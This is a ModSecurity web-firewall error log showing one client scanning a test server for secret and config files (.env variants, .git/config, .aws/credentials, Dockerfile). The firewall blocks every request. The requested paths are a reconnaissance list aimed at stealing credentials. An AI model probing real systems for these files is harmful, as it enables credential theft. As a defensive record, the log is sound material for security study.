[Wed Oct 30 21:04:03.323563 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA-QAAAAs&quot;]
[Wed Oct 30 21:04:03.323633 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7QgAAAAg&quot;]
[Wed Oct 30 21:04:03.324045 2024] [:error] [pid 2975098] [client 142.93.12.230:40772] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;ZyKRM4pDoVO-fkMzfHDA-QAAAAs&quot;]
[Wed Oct 30 21:04:03.324124 2024] [:error] [pid 2975138] [client 142.93.12.230:40874] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;ZyKRM9GTI0UdeL8AmPV7QgAAAAg&quot;]
[Wed Oct 30 21:04:05.483594 2024] [:error] [pid 2975125] [client 142.93.12.230:40966] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;ZyKRNQzAjc-1DNeFb0Xs6QAAAAY&quot;]
[Wed Oct 30 21:04:05.484348 2024] [:error] [pid 2975125] [client 142.93.12.230:40966] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;ZyKRNQzAjc-1DNeFb0Xs6QAAAAY&quot;]
[Wed Oct 30 21:04:05.484824 2024] [:error] [pid 2975125] [client 142.93.12.230:40966] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;ZyKRNQzAjc-1DNeFb0Xs6QAAAAY&quot;]
[Wed Oct 30 21:04:05.969192 2024] [:error] [pid 2975147] [client 142.93.12.230:40992] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKRNbQ4oPkqKa9OsrMhNAAAAA0&quot;]
[Wed Oct 30 21:04:05.969891 2024] [:error] [pid 2975147] [client 142.93.12.230:40992] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKRNbQ4oPkqKa9OsrMhNAAAAA0&quot;]
[Wed Oct 30 21:04:05.970489 2024] [:error] [pid 2975147] [client 142.93.12.230:40992] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKRNbQ4oPkqKa9OsrMhNAAAAA0&quot;]
[Wed Oct 30 21:04:07.618052 2024] [:error] [pid 2975123] [client 142.93.12.230:41030] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZyKRNwbkhn-eHTdgQaS2SwAAAAI&quot;]
[Wed Oct 30 21:04:07.619409 2024] [:error] [pid 2975123] [client 142.93.12.230:41030] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZyKRNwbkhn-eHTdgQaS2SwAAAAI&quot;]
[Wed Oct 30 21:04:07.619658 2024] [:error] [pid 2975123] [client 142.93.12.230:41030] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZyKRNwbkhn-eHTdgQaS2SwAAAAI&quot;]
[Wed Oct 30 21:04:07.980593 2024] [:error] [pid 2975149] [client 142.93.12.230:41090] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKRN6aenDevrdS5CJEmMQAAAA8&quot;]
[Wed Oct 30 21:04:07.981055 2024] [:error] [pid 2975149] [client 142.93.12.230:41090] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKRN6aenDevrdS5CJEmMQAAAA8&quot;]
[Wed Oct 30 21:04:07.981385 2024] [:error] [pid 2975149] [client 142.93.12.230:41090] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKRN6aenDevrdS5CJEmMQAAAA8&quot;]
[Wed Oct 30 21:04:08.168599 2024] [:error] [pid 2975143] [client 142.93.12.230:40788] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROHvqhn4QH8oANzmXuwAAAAk&quot;]
[Wed Oct 30 21:04:08.169395 2024] [:error] [pid 2975143] [client 142.93.12.230:40788] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROHvqhn4QH8oANzmXuwAAAAk&quot;]
[Wed Oct 30 21:04:08.169977 2024] [:error] [pid 2975143] [client 142.93.12.230:40788] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROHvqhn4QH8oANzmXuwAAAAk&quot;]
[Wed Oct 30 21:04:08.429559 2024] [:error] [pid 2975122] [client 142.93.12.230:41038] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKROF5ctFF4U-4U2NyRUwAAAAE&quot;]
[Wed Oct 30 21:04:08.430103 2024] [:error] [pid 2975122] [client 142.93.12.230:41038] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKROF5ctFF4U-4U2NyRUwAAAAE&quot;]
[Wed Oct 30 21:04:08.430582 2024] [:error] [pid 2975122] [client 142.93.12.230:41038] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZyKROF5ctFF4U-4U2NyRUwAAAAE&quot;]
[Wed Oct 30 21:04:08.526161 2024] [:error] [pid 2975098] [client 142.93.12.230:40756] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROIpDoVO-fkMzfHDA-gAAAAs&quot;]
[Wed Oct 30 21:04:08.526749 2024] [:error] [pid 2975098] [client 142.93.12.230:40756] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROIpDoVO-fkMzfHDA-gAAAAs&quot;]
[Wed Oct 30 21:04:08.527215 2024] [:error] [pid 2975098] [client 142.93.12.230:40756] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROIpDoVO-fkMzfHDA-gAAAAs&quot;]
[Wed Oct 30 21:04:08.986775 2024] [:error] [pid 2975150] [client 142.93.12.230:41112] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROB-c8Wjlz3LaJ9qR6QAAABA&quot;]
[Wed Oct 30 21:04:08.987553 2024] [:error] [pid 2975150] [client 142.93.12.230:41112] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROB-c8Wjlz3LaJ9qR6QAAABA&quot;]
[Wed Oct 30 21:04:08.988030 2024] [:error] [pid 2975150] [client 142.93.12.230:41112] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROB-c8Wjlz3LaJ9qR6QAAABA&quot;]
[Wed Oct 30 21:04:09.425103 2024] [:error] [pid 2975094] [client 142.93.12.230:41180] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROTFhfEsq4aUE29VdNgAAAAA&quot;]
[Wed Oct 30 21:04:09.425723 2024] [:error] [pid 2975094] [client 142.93.12.230:41180] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROTFhfEsq4aUE29VdNgAAAAA&quot;]
[Wed Oct 30 21:04:09.426173 2024] [:error] [pid 2975094] [client 142.93.12.230:41180] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROTFhfEsq4aUE29VdNgAAAAA&quot;]
[Wed Oct 30 21:04:09.993351 2024] [:error] [pid 2975152] [client 142.93.12.230:41100] [client 142.93.12.230] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROYhj6yxpTzJ5UBH80gAAABI&quot;]
[Wed Oct 30 21:04:09.994191 2024] [:error] [pid 2975152] [client 142.93.12.230:41100] [client 142.93.12.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROYhj6yxpTzJ5UBH80gAAABI&quot;]
[Wed Oct 30 21:04:09.994715 2024] [:error] [pid 2975152] [client 142.93.12.230:41100] [client 142.93.12.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyKROYhj6yxpTzJ5UBH80gAAABI&quot;]
